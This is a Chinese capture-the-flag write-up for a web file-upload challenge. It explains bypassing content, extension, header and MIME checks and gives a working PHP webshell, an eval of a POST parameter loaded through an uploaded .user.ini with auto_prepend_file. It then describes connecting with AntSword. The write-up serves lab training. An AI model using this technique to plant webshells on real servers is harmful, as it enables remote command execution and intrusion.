攻防世界-web-ctf-upload

题目场景

查看源码

毫无有效的数据

官方WriteUp

本题需要利用文件上传漏洞点,通过绕过服务器的安全防护,达到getshell的目的

本题的主要考点为利用fastcgi的.user.ini特性进行任意命令执行

这里需要绕过的点如下

检查文件内容是否有php字符串

检查后缀中是否有htaccess或ph

检查文件头部信息

文件MIME类型

对于第一点可以利用短标签绕过,例如<?=phpinfo();?>

对于第二点可以通过上传.user.ini以及正常jpg文件来进行getshell,可以参考以下文章

.user.ini文件构成的PHP后门 - phith0n

在服务器中,只要是运用了fastcgi的服务器就能够利用该方式getshell,不论是apache或者ngnix或是其他服务器。

这个文件是php.ini的补充文件,当网页访问的时候就会自动查看当前目录下是否有.user.ini,然后将其补充进php.ini,并作为cgi的启动项。

其中很多功能设置了只能php.ini配置,但是还是有一些危险的功能可以被我们控制,比如auto_prepend_file。

第三点绕过方式即在文件头部添加一个图片的文件头,比如GIF89a

第四点绕过方法即修改上传时的Content-Type

因此最终的payload为:

上传.user.ini,内容为

GIF89a

auto_prepend_file=a.jpg

上传a.jpg,内容为

GIF89a

<?=eval($_POST['cmd']);?>

BP抓包

上传.user.ini

再上传a.jpg

F12查看文件去向

蚁剑连接

找到flag

相关推荐
瀚高PG实验室11 分钟前
如何将HGDB安全版(RPM包形式)安装在非root用户下
服务器·网络·安全·瀚高数据库
三七吃山漆40 分钟前
Morse Decoder
安全·misc
it运维技术圈1 小时前
印度电信部门发布强制指令:即时通讯应用需绑定活跃 SIM 卡,实施六小时会话登出
网络·安全·web安全
得物技术2 小时前
得物个人信息保护社会责任报告
安全
Xudde.2 小时前
friendly靶机渗透
笔记·学习·安全·web安全·php
timeweaver2 小时前
React Server Components 的致命漏洞CVE-2025-55182
前端·安全
骥龙3 小时前
5.15、未来已来:AI安全的发展趋势与伦理思考
人工智能·安全
weixin_387002154 小时前
二次开发的openssl在windows平台的编译
linux·windows·安全·ssl
望安认证4 小时前
望安科技赞助并出席 2025 CCF 中国软件大会,共话形式化验证与原生安全最新发展
大数据·科技·安全·形式化验证·原生安全